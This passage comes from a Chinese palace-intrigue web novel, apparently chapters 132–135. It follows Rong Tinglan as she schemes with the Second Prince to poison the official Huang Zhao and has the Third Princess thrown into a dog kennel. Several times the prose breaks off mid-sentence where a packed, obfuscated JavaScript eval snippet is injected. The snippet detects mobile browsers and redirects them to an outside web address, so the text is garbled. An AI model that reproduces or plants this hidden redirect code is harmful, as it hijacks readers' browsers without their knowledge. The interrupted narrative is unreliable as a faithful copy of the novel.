暗卫闻言解释道:“是这样的,二皇子想顶替您当太子,这一点毋庸置疑。但是皇上向来不喜二皇子,这一点也众所周知。这思来想去,唯有四皇子是皇上最在乎的那个人。” “而且,我听说皇上替换了三百个大内侍卫,全都交给了四皇子掌控,可见还是信任支持,一切都是为了他谋划。至于传位圣旨,应该还没来得及写。” “确定?” 太子追问。 暗卫点头,“十之八 九,我们的人旁敲侧击问过魏公公,他说没见过皇上写这个东西。” “那就好。” 太子深呼吸一口气,“明天早朝时,你进宫一趟,把药送进去,让我们的人择时动手。” “是。” 暗卫垂眸,眼底闪过一抹冷笑。 太子没看见,转身进了屋。 …… 天亮了。 容汀兰一大早的,再次发现自己对后半夜的事情没有丝毫印象。 “看来是真的得了离魂症。” 她按住眉心,有些无奈,“若夜里真的有另外一个人格出来活动,那可就危险了,万一做过什么我不知道的事情,白天真的很容易露馅。” 而且,容易让事情失控。 容汀兰感觉到一丝丝危机,打算去一趟蝴蝶楼,让下面的人暂停其他活动,赶紧去找镇魂石的下落。 然而一切都像是早就被安排好的。 宋十娘先来了。 她人未见声先闻,“少主!有了镇魂石的消息!就是价格有一点点贵,但是咱们也不差钱,你什么时候打算去看看?” 话说完了,人才眉飞色舞地走进来,显然是真的为她高兴。 容汀兰讶然,“这么快就找到了?” 这东西那么常见吗? 宋十娘笑着道:“因为是我去找呀!怎么说我之前也是江南十三行的主子,整个江南最富有的女人!别的不说,这江湖上的人脉还是很广的!” 说到这里,眼底闪过一抹黯然。 是曾经江南十三行的主子,不是现在。 容汀兰理解她的心情,“你放心,很快江南十三行就会回到你手上,你还是那个光芒万丈的老板娘。” “算了,”宋十娘笑起来,“也不着急这一时半刻,还是先说那镇魂石。” “这东西现在在一个叫王大户的人手上,准确的说叫山河镇魂砚,据说是一整块天然石头,上面自然浮现山河纹理,形成‘镇魂’二字,价值连城。” 容汀兰闻言问:“到底多少钱?” “三万。” 宋十娘看向她,“黄金。” “……” 容汀兰唏嘘,这玩意儿的确很贵。 但若真的可以治疗离魂症,也不算是亏,于是点头,“咱不差这点钱,今天下午如果没有别的事儿,咱们出去一趟吧。” “行。” 宋十娘点头,“只不过,路很远,一个来回至少得一天一夜,还是你用轻功的情况下。” “……”容汀兰直接无语,“以我的脚程,一天一夜,这王大户是在千里之外?” “差不多吧。” 宋十娘点点头,“主要是,这一天一夜也不能都用来赶路,你总得晚上找个地儿正常睡觉,咱不必那么赶。” 也就是说,下午去了晚上回不来。 容汀兰懂了,“行,我一会儿过去和珩王商量一下,毕竟珩王府的人晚上不许在外面过夜。” 虽然不知这什么破规矩,但是毕竟这是在人家的地盘,还是要好生遵守。 宋十娘点头,递给她一张纸,“这是地图和位置,还有那个王大户的画像。” “谢谢。” 容汀兰接过纸张,很感激地看了眼宋十娘。 “嗨,和我客气什么。” 宋十娘笑了笑,“那我先回去。” “嗯。” 容汀兰收拾了一下,去凌烟阁找谢景珩。 谢景珩正打算去早朝,刚收拾妥当,只是看上去有点没睡醒的样子,见她过来笑着问道:“嫂夫人这么早?” 容汀兰被他的笑容晃了一下,点头,“找到了那镇魂石,但是一个来回需要一千多里路,所以晚上可能回不来,所以……能不能夜不归宿啊?” 谢景珩一愣,“这么快就找到了?” “嗯。” 容汀兰把纸给他看,“就是名字有点唬人,叫山河镇魂石。” 谢景珩看了眼,眼神古怪的瞥她,“既如此,那明日一早本王陪你去吧,今晚萧明月要来。” 容汀兰点头,“那样也好。” 左右,谢景珩也忘夜里的事儿,到时候那山河镇魂石她与谢景珩一人一半,是两个人的事情,一起去办也没毛病。 “嫂夫人要不在本王屋里再睡会儿,本王去早朝?”谢景珩勾唇,看了她一眼。 那眼神缱绻微笑,看得人心里酥酥 痒痒的,一身蟒袍勾勒出他劲瘦的腰身,看得容汀兰脸上一红,鬼使神差说了句“好”。 但她也有自己的房间,大清早的去谢景珩屋里睡觉,这本就是很暧昧的事情。 她在想什么,居然就堂而皇之答应了下来? 男人瞥见她脸上红彤彤的样子,嘴角微微上扬,“那……本王先告辞。” 温水煮青蛙就是这样的,绝对不能操之过急,要一点一点,让对方不知不觉对自己着迷,欲罢不能。 谢景珩转身,优雅的背影离开了凌烟阁。 容汀兰看着他,总觉得他穿王袍一丝不苟的样子,多少显得有些禁 欲。 但相反的,却更勾人了。 等人走后,她施施然进了谢景珩的卧室,看着里面的软塌和床心跳如鼓。 睡软塌的话比较正常。 但,床似乎对她有种别样的诱惑…… 最后,她红着脸走向了床,结果刚坐下来,就在上面发现一根长头发,“王爷的头发明明是黑的,怎么这一根带着一点点……金色?” 拿起来一对比自己的,愕然,“是我的?” 她虽然已经十六了,可是头发的颜色却小时候一模一样,是那种带着一点点淡金色的黑,尤其是在阳光下,看上去更艳一些。 按照谢景珩的描述来看,那乌鸦的羽毛在太阳底下算是五彩斑斓的黑,她的头发就是紫金色的黑。 是正常光线下的黑,阳光下的黑带紫金色。 容汀兰感觉奇怪,“他的床上,怎么会有我的头发?” 此时旭日东升,她拿起头发走到窗户边上,放在阳光下看,一时无语,“难道白天和他在一起,头发掉他身上了。” 窗外,琅琊嘴角直抽抽。 他嘴巴动了动,又动了动,真的很想告诉她,她夜夜爬床心里没数么? 现如今,他给谢景珩写的《起居注》都已经快成了春闺梦里小话本了,若是拿出去卖,肯定比话本子还要精彩劲爆。 第132章 三公主找茬 第一百三十二章三公主找茬 最后,容汀兰舒舒服服爬上谢景珩的床,睡了。 他的被窝里,有股淡淡的檀木香,很暖。但奇怪的是,也有一丝丝她身上的味道,虽然不算是很明显,可是那种依兰的香味也真的很难忽略。 只不过,容汀兰不认为自己能做那么变态的事情,夜里爬上谢景珩的床睡觉了—— 毕竟,要是她真的那样做了的话,谢景珩不可能一点反应都没有。 而且,这个被窝有种难以言喻的安全感。 容汀兰很快睡着了。 紧接着,她做了一个梦。 梦境终于不再是十年前镇南侯府的灭门案,而是另外的、从未出现过的场景。 她梦见自己被困在了一个金色的什么东西里面,那东西看上去……有时像个金色的小酥饼,上面雕刻龙纹。 有时像个金色的小三角小鼎,圆乎乎,胖墩墩,看上去很可爱。但是,上面依然雕刻着金色的龙。 有时,又四四方方,看上去像个什么大印。 她的确是被困住了,潜意识告诉她不能离开这个地方,一旦离开就会出严重的事故,是她自己无法承受的那种后果。 可在这种困境当中,她又感觉到一种义薄云天,敢以肉身补天缺的无疆大爱,和一缕若隐若现的思念。 那种思念不算强烈。 但是,她哭了。 好像自己有个姐妹,血肉相连,灵魂相依……在外面永远的流浪,死去、重生;重生,又死去,像是轮回一样,永无止境—— 情绪一转,突然之间她被惊醒。 “不,我才是那个流浪者!是有一个人被困住了!困在一个不知名的地方!” 容汀兰豁然起身,说出这句话之后才有些错愕,“我竟然……有了新的梦?” 窗口,露出琅琊八卦的脸,“夫人,您梦到什么了?” 他眼神诡异,下意识看了眼谢景珩的床:该不会,在他家王爷的床上做春梦了吧? 容汀兰回神,道:“我梦见,自己的灵魂分成了两半,一半被什么东西困住了,却又像是主动被困住的;另一半在这个世上流浪,永世轮回,很奇怪。” 琅琊:“……” 她在说什么胡话? 就连他这个很爱八卦的,一时间也不知道说什么好,最后只得道:“确实是个很玄妙的美梦……” 容汀兰:“……” 这敷衍的味道,还不如不说。 外面突然传来脚步声,孤舟走了进来,“少主,二殿下找你。” 目光透过窗户,在看到坐在谢景珩被窝的容汀兰时,孤舟嘴巴张了张,但最终什么也没说,只是眼神有些古怪。 容汀兰下床,“找我拿药?” “应该是吧。” 孤舟也不确定,“人已经往这边来了,还带着三公主,三公主趾高气昂的,也不知道要干什么。” 容汀兰一惊,“萧明月也来了?” 一大早的,这是不是太猴急了? 而且,皇家公主,不需要珩王府的人去宫里接应一下么?就直接来了,还是跟着二皇子一起来,是不是太猴急,太不讲究了? 至少,也应该和太子一起来。 毕竟,太子才是三公主亲哥不是? 总之,很诡异。 然而不止如此,紧接着暗影进来,道:“夫人,沈公子求见,人在后门……” “……” 容汀兰无语,他们可真是会选时间。 最后,只得道:“先带沈公子去紫烟阁,我先会一会二皇子和萧明月。” 二皇子好对付。 可萧明月…… 某种意义上说,她和萧明月可是情敌。 情敌见面……如何相处? 容汀兰没经验,但她也不会让萧明月骑在自己头上,毕竟这里是珩王府,也要照顾珩王的脸面,就是不能动手……可惜了。 她收拾好自己,来到谢景珩的书房坐下。 门外。 二皇子和萧明月并肩而行。 “二皇兄是来找慕夫人开药的?太医都治不了的病,她能有办法?”萧明月一双眼睛好像长在了脑门上,傲慢地哼了一声。 二皇子瞥她一眼,嘴角上扬,“三皇妹有些话还是不要乱说,小心搬起石头砸了自己的脚。” 但他乐意看萧明月和慕夫人在珩王府撕起来,撕得狠了,得罪了珩王,对东宫没好处。 于是他又道:“父皇虽然给你赐婚了,但是珩王对你可没什么兴趣。但他对慕夫人什么态度,接风宴上你也见识过。” “你要想 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15806202|175154||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 在珩王府过得好,还是老老实实,将那慕夫人供起来吧。” “况且,”他嘴角一勾,“慕夫人国色天香,又有能耐,皇妹除了身世之外,哪一样比得上她?” 这话非但没有起到安抚的作用,反倒把萧明月给激怒了! “区区一个乡野**,也敢跟本公主比!” 萧明月攥紧拳头,嗓音虽然不高,但愤怒已经写在了脸上。 二皇子抿嘴笑着进了凌烟阁。 隔窗看到坐在书房里的容汀兰,拱手道:“见过慕夫人。” 他的嗓音有些别样的缱绻—— 等过几日,什么江南小医仙,什么珩王寡嫂的,都是他的人,九重楼的**一出手,就算是慕夫人武功盖世,也挡不住暗招。 这样的女人,他也想要。 容汀兰只感觉,一道黏黏糊糊的视线落在了自己的脸上,让她很不舒服。 但想到二皇子给九重楼下订单,要活的她,她就立即明白了,于是心下冷笑一声,面上却不着痕迹道:“二殿下客气了。” 旁边,萧明月见状发出尖锐的声音,瞥了琅琊一眼道:“这里可是珩王的书房,她一个妇道人家,凭什么进王爷的书房?” “王爷日理万机,全都是国家大事,书房里机要众多,若有半点差错,你们担待得起吗!” 她年岁不大,但一开口却老气横秋。 琅琊直接翻白眼,“回禀三公主,不是属下等人不尽力,实在是打不过。要不,您去把慕夫人从书房里请出来,也算是帮上王爷的忙了。” 真的是神经病。 他是侍卫,动不得手。 但,他家夫人呢? 他家夫人进宫对太后和皇后都敢下手,何况区区一个萧明月! 萧明月不知琅琊真意,抬手一挥,“你们进去,将她给本公主绑出来!” 身后,顿时十几人闯了进来。 全都是宫里带来的高手。 容汀兰一看,脸色有些黑了。 萧明月进门,带着这么多人进来,那到了晚上珩王府还有什么安全可言? 到处都是暗桩和眼睛。 她和谢景珩,恐怕没得休息了。 既然这样…… 容汀兰眯了眯眼,掀睫瞥了眼那些人,“就凭你们?” 第133章 丢进狗窝 第一百三十三章丢进狗窝 “给我上!” 萧明月誓要压容汀兰一头,主要是见谢景珩宠着他的嫂夫人,让她感到没面子,还很嫉妒。 毕竟,她喜欢谢景珩也不是一天两天了。 谢景珩凯旋归来,入住珩王府那日,她随着父皇与文武百官一起去城门口迎接,可谓是一见珩王误终身,从此心心念念,白天梦里都是他容颜。 这白日梦做了三年了,本以为时机成熟谢景珩就非她莫属,却没想到半路杀出个慕夫人,短短几日就成了谢景珩的心头好。 谢景珩虽然叫她一声“嫂夫人”,可实际上却比王妃还亲密。 想到这里,萧明月眼睛都红了。 她话音未落,身后的侍卫顿时冲了上去,“慕夫人,得罪了!” 霎时,剑光四起,“你要是不愿意自己出来,就别怪我等下手。但是刀剑无眼,若伤到了慕夫人,就只好请慕夫人自己受着……” 一个“了”字还没说出口。 窗内传来一声轻哼。 只见容汀兰抬手一挥,衣袖卷过,一股看似轻描淡写,实则却以排山倒海的力量碾压过来! “砰砰砰……砰!” 接连几声闷响。 第一波冲上了七八个侍卫倒飞回去,趴在地上吐血不止,双手颤抖,手上的剑都拿不稳了,抬眼不可置信地看向窗内的人。 书房窗内,容汀兰坐在桌边,头也没抬一下,伸手勾起茶壶给自己斟满一杯,姿态之闲适,好像刚刚只是怕衣袖扫落茶盏,所以才拂了拂。 “这——” 其余几个侍卫皆变色,扭头看向萧明月,“属下等人恐怕不敌,这个慕夫人的内力……放在京城多半不在珩王之下。” 他们不敢上了。 上了也没用,白丢人罢了。 萧明月气得脸红脖子粗,骂了一声,“废物!” 随后,扭头盯着容汀兰,“慕夫人,本公主劝你自己走出来!珩王的书房全都是军机要秘,若出了什么岔子,你担待不起!” 容汀兰冷笑,“刚刚琅琊说有客来访,但我听门外这犬吠,莫非非人哉?” “既如此,”她嘴角一勾,“来人啊,将外面那条狗给本夫人丢出去,狗就应该待在狗窝里。” 话音未落,逐风戴着一张搞笑的微笑面具出现,一把拎起三公主,问琅琊,“王府的狗窝在哪里?” 琅琊眼皮狂跳,嘴角抽搐,指了指外面的园子,“外、外面就有一个……” 他知道容汀兰狂。 可没想到,她的侍卫也要上天。 居然真的要把萧明月关进狗窝里? 但,萧明月口出狂言在先,他也是看热闹不嫌事儿大,何况珩王府根本不想要这个王妃呢! 最好,把萧明月赶出去。 也省了恶心。 逐风闻言,拎起萧明月直接往狗窝去,外面传来狗吠声,“汪!汪汪汪!” “汪汪!” “你们还愣着干什么!上啊!”萧明月恼羞成怒,嗷嗷叫了起来,瞪着自己那几个侍卫,“你们打不过那个**,难道还打不过他吗!” 几人回神,扑向了逐风。 逐风可不是善茬,怀中黑色宝剑嗖一声出鞘,一剑扫过罡风顿起,面具下只传来他冷冷一句,“你们不行。” 几个侍卫全都**回去。 逐风的内力不如容汀兰。 但对付他们,绰绰有余。 萧明月被拎到了狗窝外面,张大眼睛崩溃道:“快放开我!我告诉你,伤害皇族,当诛九族!” 前方,三条黑色的藏獒一看是陌生人,顿时露出凶狠的表情,往前扑了上来。 “啊啊——” 眼看着一口咬在萧明月腿上,萧明月发出尖叫声,吓得冷汗直冒,脑袋一歪晕了过去。 铁链子哗啦啦响。 实际上,狗嘴距离她,还是有一点距离的。 虽然不多。 “原来是个废物。” 逐风冷笑一声,把她丢在了地上。 她带来的宫女脸色煞白,赶紧上去把人扶起来,都不敢再说话。 二皇子见状眼神古怪,扫了萧明月的侍女一眼,道,“扶着三妹妹去休息吧,到了珩王府,就要按照珩王府的规矩来,这一次也算是长个教训。” 这下子,萧明月带来的人都面色凝重,表情难看。 琅琊这才笑着道,“扶着三公主来隔壁休息吧,王爷还没下早朝呢,我看诸位也不想和夫人说话。” 说个屁! 宫女清姬憋了一肚子火,却不敢发泄。 本以为,跟着萧明月可以吃香喝辣,却没想到刚进珩王府,便吃了瘪。 心里别提多难受了。 总之,一个短暂的小插曲之后, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15806203|175154||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 这事儿不了了之。 二皇子走进了书房。 “我今天来,是来寻夫人拿药的,这是诊金,照着礼部尚书那边给的,夫人看行不行?” 他说着,脸上露出尴尬一笑,“本殿府上不如长宁侯府,能拿出来的钱不多,还请夫人高抬贵手……” 钱不也不算少。 三千两的金票。 容汀兰嘴角上扬,接过金票道:“药和药是不一样的,二殿下的病情虽然缠绵,但是用的药都是比较普通的,也不算是什么很特别的方子,所以诊金本就不算多。” “长宁侯那个,就不一样了。” 她看向二皇子,“那是解毒,而且那种毒天底下只有本少主一人能解,物以稀为贵,不是么?” “况且,本少主不喜欢裴家那些人。” “总要出一点洗眼费。” “……” 二皇子一阵无语,但转念之间自恋起来,忍不住笑着道:“这么说来,慕夫人看本殿还算顺眼?” 本来长得还挺好的。 但一自恋,就变得油腻起来。 容汀兰觉得有些恶心,道:“这话怎么说呢,若是没带三公主来的话,本少主或许会感觉好一些。” “况且,我这个人没别的志向,就是比较爱钱,所以散财童子我都是看着很顺眼的,毕竟看在二十万两黄金的份上,我最后看裴家那些人,也都顺眼了呢。” “……” 二皇子心情复杂。 这么一说,那他看着到底是顺眼,还是不顺眼? 他怎么被绕晕了? 容汀兰瞥了他一眼,看向琅琊,“你去,将我架子上第四层黑色的那个包裹拿来,那里面是二殿下的药。” 琅琊点头离开。 二皇子笑着看向容汀兰,“原来慕夫人早就准备好了……” 话锋一转,说起公审那日的事情,“说起来,公审那日我本打算晚上就来找夫人,却不料有些事情耽搁了。” “那日的公审,不知夫人怎么看?” 二皇子说到这里,眉宇间浮现出一丝丝沉重,要说那天的事情,他自己也没讨到好。 后来复盘之后,总感觉自己被人给算计了,仿佛正在做的事情并没有那么心之所向,而是被周围环境诱导着步步前行,逐渐心念跟不上动作的速度了。 而这些,都从这位慕夫人进京开始。 第134章 借黄钊的刀,杀二皇子 第一百三十四章借黄钊的刀,杀二皇子 容汀兰瞥了他一眼,道:“我又不是朝中人,有什么好看的?本以为是京城人人豪富,所以长宁侯府才不差钱,却没想到,竟然还挪用税金!” “我只是觉得,这税金既然是长宁侯府挪用南军的,如今送到珩王府也算是物归原主。” “果然,天道好轮回。” 她说到这里冷冷一哼,“如此说来,本少主算是做了一件大大的好事。” 话锋一转她突然看向二皇子,“但说起这个,我就有些不高兴了!税金案这么大的事情,要不是我去长宁侯府解毒,谁知道呢?” “这就算是没有功劳,我也是在拔除朝廷蛀虫这个事情上面有苦劳的。” “但是皇上怎么对我?” “明知道我会嫁给珩王,却还将萧明月强行塞进来!本少主今日这话也就直说了,你们这些男人脑子真的是一点人性都不通!你们不乐意和别人共享一个女人,难道我们女人就愿意与人共享一个丈夫?” 她瞥了二皇子一眼,脸上呈现愤怒的表情,“做人太双标,会遭天大雷劈的。还安上一个善妒的罪名给我们女人,什么七出之罪,真是纯纯脑袋有病!” “我今日就把话放这里了,珩王府的事情,便是天王老子来了,也是本少主说了算!” 小手砰一声,拍在桌上。 桌子裂开一条缝隙,震得二皇子跳了一下。 二皇子:“……” 神经,三公主又不是他塞到珩王府的,慕夫人朝他发火干什么? 但脸上还是不得不赔笑,“慕夫人说得有道理,若是本殿,必定弱水三千只取一瓢饮。” 若这慕夫人最后能成为他的人,他倒也不需要别的女人。 毕竟,十个臭皮匠,也抵不上一个诸葛亮。 人实力在那里放着。 他这话让容汀兰有些想吐,自打天眼可以外放开启之后,她就发现自己对外界、尤其是别人的情绪感知非常敏锐—— 今日二皇子前来,绝对不是要拿药那么简单。 他肯定没憋好屁! 只不过…… 容汀兰话锋一转看向二皇子,眼底露出笑容,“长宁侯是太子**,如今太子**式微,接下来恐怕就是二殿下继承皇位了吧?毕竟,长宁侯府一案,东宫也不干净啊。” “这样的人,连自己的下属、幕僚都管不了,任由他们结党营私,贪墨税金,往后若是坐在皇位上,恐怕是百姓之祸。” 目光定定落在二皇子脸上。 二皇子虽然极力隐忍,但依然止不住心潮澎湃,看了眼容汀兰一眼问:“慕夫人觉得本殿可以?” “可以啊!” 容汀兰眨眨眼睛,“太子之下,便是二殿下。既然太子不能继承皇位,那理所应当,就是二殿下你。” 二皇子认同不已。 但想到皇帝打算把皇位给四皇子,心口就不禁憋了一肚子气,最后露出一个苍白的笑,“可惜,父皇不喜欢本殿。” “皇位有能力者得,岂能凭借个人喜好?” 容汀兰添了一把火。 二皇子深感慰藉,有种惺惺相惜的感觉从心口喷涌出来,“慕夫人说得有理。” 说着,起身朝着容汀兰拱手,“但凭借本殿一人势单力薄,若夫人能施以援手,本殿将感激不尽。” 容汀兰心下冷笑。 萧氏皇族骨肉相残,那不正是她想要的么? 那皇位,最后就算是落在一条狗的手上,她也绝不会帮萧家的儿子们夺权。 但,她乐意让这把火烧得更猛烈一些。 她想到了黄钊。 “让我帮你,我有一个条件。” 容汀兰看向了二皇子,“若二殿下能答应,我便送你扶摇直上!珩王殿下,也会在金銮殿上帮你说话。” “当真?” 二皇子大喜。 他现在万事俱备只欠东风。 太子已然上钩,只等他坐不住下毒给皇帝,他再安排人杀了太子,到时候皇帝死,太子暴毙,他上面就没有人压着了。 唯一的难题是珩王府。 准确的来说,他想要登基,唯一需要说服的就是朝臣,可太子**和四皇子**肯定不会支持他,皇帝的人也不会,他们到时候会支持四皇子。 他只有一个黄钊。 可黄钊是皇帝手上的一把刀,手上做的脏事太多,一旦改朝换代的时候,这种人最容易成为弃子,是第一个应该送上断头台的。 到时候,也没用。 最后,只剩下他的娘舅蔺将军,独木难支。 原本,他打算杀了太子,嫁祸给珩王府的。 可若能拉 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15806204|175154||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 拢珩王府,那其余人的反对都将无效,等他稳定下来再对付珩王……如此循序渐进,才是最好的办法。 毕竟,羑洲人躲在暗中,大祭司也不能直接上金銮殿,比起珩王依然差了一截…… 这般想着,二皇子打算改变原本的计划。 这些小心思,因为离得太近,再加上二皇子毫无防备,全都被容汀兰捕捉。 容汀兰决定将计就计,道:“自然是当真的,但前提是,二殿下能答应我的条件。” “什么条件?” 二皇子迫切地问道! 珩王说过,见慕夫人如见珩王! 那么,慕夫人的话,就等同于珩王的话……二皇子觉得,如果珩王能支持他登基,那付出一切都是值得的。 容汀兰拿出一个白色的小瓶子放在桌上,瞥了眼二皇子,“珩王府可以支持你,但是你身后有个人算是拖后腿的,你想登基他必须死,否则百姓不会支持你。你要是能将这个给他吃了,珩王府自然站在你这边。” “这什么?” 二皇子看向那个小瓶子。 容汀兰抬眸看向他,“是个好东西,会替二殿下除掉后患,让你干干净净登上皇位。” “准确的来说,我这是在帮你,而我真正的条件,是等你登基之后,把萧明月送出北魏,我不想在瀛洲看见一个苍蝇嗡嗡叫。” 二皇子本来还是狐疑的。 但此刻,却放心了下来。 果然,女人的嫉妒心可以促使她们做出任何事情! 二皇子拿起瓶子坐下来,“这么小的一件事情,不值得夫人提出要求。若本殿登基,必定不让任何人碍了夫人的眼睛。” 等他登基,找机会弄死谢景珩,眼前这位慕夫人就会成为他的皇后。 三年时间,足够了。 他脸上露出笑容,看向容汀兰,“那么,夫人希望本殿将这个给谁吃?” “黄钊。” 容汀兰瞥了他一眼,“他的手太脏,我看不惯他很久了。” “他……得罪过夫人?” 二皇子一惊,他本来就打算登基之后拿黄钊开刀,好在百姓当中讨个好名声。 却没想到,慕夫人也想要他死—— 本就是一个要死的,这样算下来,自己什么都没付出,还能换取珩王府的支持,简直一本万利! 第135章 等着吃两位的喜酒 第一百三十五章等着吃两位的喜酒 二皇子心情激动,却不知这一切都在容汀兰精准算计当中。 容汀兰闻言眼底露出一抹杀意,道:“我有一个药童,来瀛洲找一味药材,被他栽赃,残忍杀害。我与他,有不共戴天之仇。” “……” 二皇子惊出一身冷汗。 “本殿没想到,他竟然还做过这种事情,得罪到了**头上……”若让人知道黄钊是他的人,那最后这笔账还不得算到他头上? 这个事情,不能再拖延下去了。 二皇子想到这里表情凝重,眼神却变得决然坚定,“慕夫人放心,十天之内,我必定给你一个结果!” “那就麻烦二殿下了。” 容汀兰瞥了眼他手上那个小瓶子,“黄钊这个人,我要亲手让他死。” “明白,要活的。” 二皇子露出一抹笑,特意展示了他自以为是的魅力。 容汀兰觉得有些恶心。 但能让黄钊死,这点恶心她能忍。 两人又说了一会儿话。 琅琊进来,将包裹放在桌上,“二殿下,这是你的药。” “那本殿先行告辞,慕夫人等我消息。” 二皇子若有深意地看了眼容汀兰,没在多说什么,拿着东西离开。 “二殿下慢走。” 容汀兰目送他离开,瞳孔轻轻缩起。 暗影走了进来。 “夫人,你……这是与虎谋皮。”他看着容汀兰,表情有些复杂,“王爷不会支持二皇子的。” “他活不到需要支持的那天。” 容汀兰冷冷一笑,瞥了眼暗影,“你是王爷的暗卫,不跟着他?” 暗影看着她,眼神有些诡异,“至少去早朝的路上不需要,而且这段路大部分时候,都是孤舟去的……” 话锋一转,问:“你给黄钊吃的,那是什么药?为何一定要假借二皇子之手?” 按照容汀兰的武功,他觉得不至于叫别人出手。 想下药,直接给黄钊下就是了。 容汀兰倒也没隐瞒,“借刀**,能借别人的手,何必要脏了自己呢?” “借二皇子杀黄钊?” 暗影总觉得哪里不对。 容汀兰摇头,“不,借黄钊杀二皇子,免得脏了王爷的手。” “……” 暗影说不出话了。 行,他家王爷和夫人加起来估计有两千个心眼子,他就不应该琢磨他们到底怎么想的,还是老老实实做个暗卫算了。 容汀兰起身,“我去见沈寒秋,这边你们盯着,不要让萧明月乱走,若她醒了,可以找机会把王爷在江湖上有个相好的事情透露给他,告诉他王爷其实是个断袖。” 虽然是和谢景珩商量好的事情。 可说出来,还是感觉怪怪的。 “……” 暗影嘴角抽了又抽,看她的眼神十分无语。 她知不知道,那个夜半闯凌烟阁的采花贼,就是她本人? 容汀兰当然不知道。 她吩咐完之后,便去了紫烟阁。 沈寒秋等了一会儿了,不只有他,还有云彩月。 两人带了礼物来,见容汀兰过来,沈寒秋起身道:“见过慕夫人,我们今日前来,是为了感谢公审那日珩王在台上帮忙说话,但是因为种种不便,只好借找夫人寻药为名。” 云彩月也上前行礼,“彩月见过夫人!” 容汀兰看了眼沈寒秋,又看了看云彩月,心中百感交集,“沈公子与云郡主看起来真般配。” 沈寒秋本是她的娃娃亲,如今相见不相识,在她心中也把沈寒秋当成兄长一般的存在,此刻见他有了心上人,感觉虽然微妙,但还是很高兴。 云彩月闻言脸上露出红晕,但还是看了眼沈寒秋,解释道:“我们现在……更多算是朋友。” 算是某种意义上的澄清。 这原本是沈寒秋自己说的,可是当这话真的从云彩月口中说出来的时候,他却感觉有些心疼,下意识看了眼云彩月,一句“对不起”差点脱口而出。 他就算还没爱上云彩月,但看她这样委曲求全的样子,还是觉得折辱了她。 这些细微的情绪,在两人之间流转着。 容汀兰细细感知,随后露出笑容,“人心复杂世态炎凉,能遇上知心人不容易,我等着吃两位的喜酒,到时候别忘了喊一声。” 云彩月笑了笑,她眼中有期待,但也有隐忍。 沈寒秋点点头,“夫人这话,我记住了。” 他看了眼云彩月,心中有个冲动,想去拉她的手,紧握着告诉她,自己和她是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15806205|175154||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 过命的交情。 但又觉不妥,最后只好作罢。 容汀兰也没多说什么,请他们进屋坐下,“王爷那日所做的,也不过是分内之事,沈公子不必太放在心上。不过经此公审,宫里应该不会再针对沈家了。” 沈寒秋道:“也许对王爷而言那是举手之劳,但是对于沈家来说,却是救命之恩。还请夫人转告王爷一声,若往后有用得着沈家的地方,赴汤蹈火在所不辞。” 容汀兰点头,“我会跟王爷说。” 沈寒秋又道:“我今日来寻夫人,还想打听一个人,总觉得那人与夫人有关……” “谁?” 容汀兰其实有了猜测。 果不其然,便听沈寒秋道:“是一个神秘人。那天夜里,若非那神秘人运筹帷幄,将我和那大内侍卫替换,恐怕沈家就真的覆灭了,便是珩王出手,也救不了我们。” 他说着看向容汀兰,眼神熠熠生辉,透出几分期待与敏锐,“我思来想去,在瀛洲除了夫人,应该没有人会出手帮忙了。” 容汀兰闻言有些沉默。 沈寒秋猜得不错,但也正是因为这样,才让她感觉还需要更加隐蔽,否则今天沈寒秋想到她身上,旁人迟早也会想到。 于是,她摇摇头道:“这我就不清楚了,但沈家这些年在百姓当中口碑不错,而高手往往隐藏在民间,也许是曾受了沈家恩惠,出来报答的人呢?” “这……” 沈寒秋一时不知说什么好。 沈祝两家这些年谨小慎微,与人为善,这些年帮过的普通人当然也不少,但是那些小恩小惠的,总不至于让对方这般报答。 而且重点不在报答上。 是在谋略。 瀛洲有这等谋略之人可不多。 但容汀兰已经说了不知道,他就算是还有疑惑,也不好多问什么。 容汀兰也转移了话题,问道:“沈公子如今有何打算?要入朝吗?眼看着,殿试要开始了。” 沈寒秋闻言苦笑,“若龙椅上换个人,我必定是想要一展抱负的。如今却是不行,别说是考不上,便是考上了,也只是为虎作伥罢了。” 